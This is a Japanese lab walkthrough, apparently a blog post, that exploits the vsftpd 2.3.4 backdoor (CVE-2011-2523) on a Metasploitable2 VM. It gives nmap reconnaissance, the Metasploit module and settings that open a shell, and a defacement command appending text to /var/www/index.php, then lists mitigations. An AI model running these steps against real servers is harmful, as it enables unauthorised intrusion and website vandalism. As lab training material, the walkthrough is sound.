注意
必ずローカル環境で検証してください。
環境
攻撃者
- Kali Linux
ターゲット
- Metasploitable2
CVE-2011-2523について
vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていた。
「:)」含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンし、バックドアポートにリモートから接続すると任意のコマンドが実行可能になっている。
偵察
Nmapコマンドでポートスキャンを実行する。
nmap -sV <target ip address>
-sVオプションでサービスとバージョンを検出できる。
-Aオプションでも可。
-sV
オプションの場合
-A
オプションの場合
vsftpd/2.3.4
が動いているのが確認できる。
攻撃準備
Metasploit
を起動。
msfconsole
Metasploit Frameworkが起動した。
vsftpd/2.3.4
の脆弱性を探す。
msf6 > search vsftpd 2.3.4
バックドアの脆弱性がヒットしたのでこれを使用する。
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
攻撃に必要な設定を確認する。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Required
の値がyes
になっている項目が必須。
今回はデフォルトで宛先ポート(RPOT)が21になっているため、宛先ホスト(RHOSTS)を指定する。
宛先ホストを指定。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST <target ip address>
もう一度show options
で設定項目を確認すると宛先ホストがセットされていることが確認できる。
攻撃
準備が整ったので攻撃する。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
run
かexploit
で攻撃の実行。
侵入完了です。
とりあえず、Webサイトでも改ざんしておきます。
echo "Hacked! Success! by kk0128jp" >> /var/www/index.php
対策
TCPポート6200番が不当にオープンしていないか確認する。
外部からFTPサーバの不要なポートに接続できないようにアクセス制御を実施。
vsftpdをアップデートするのが一番かな。
おまけ
今回使用した攻撃モジュールのソースコードを確認したい方はこちらに。
参考サイト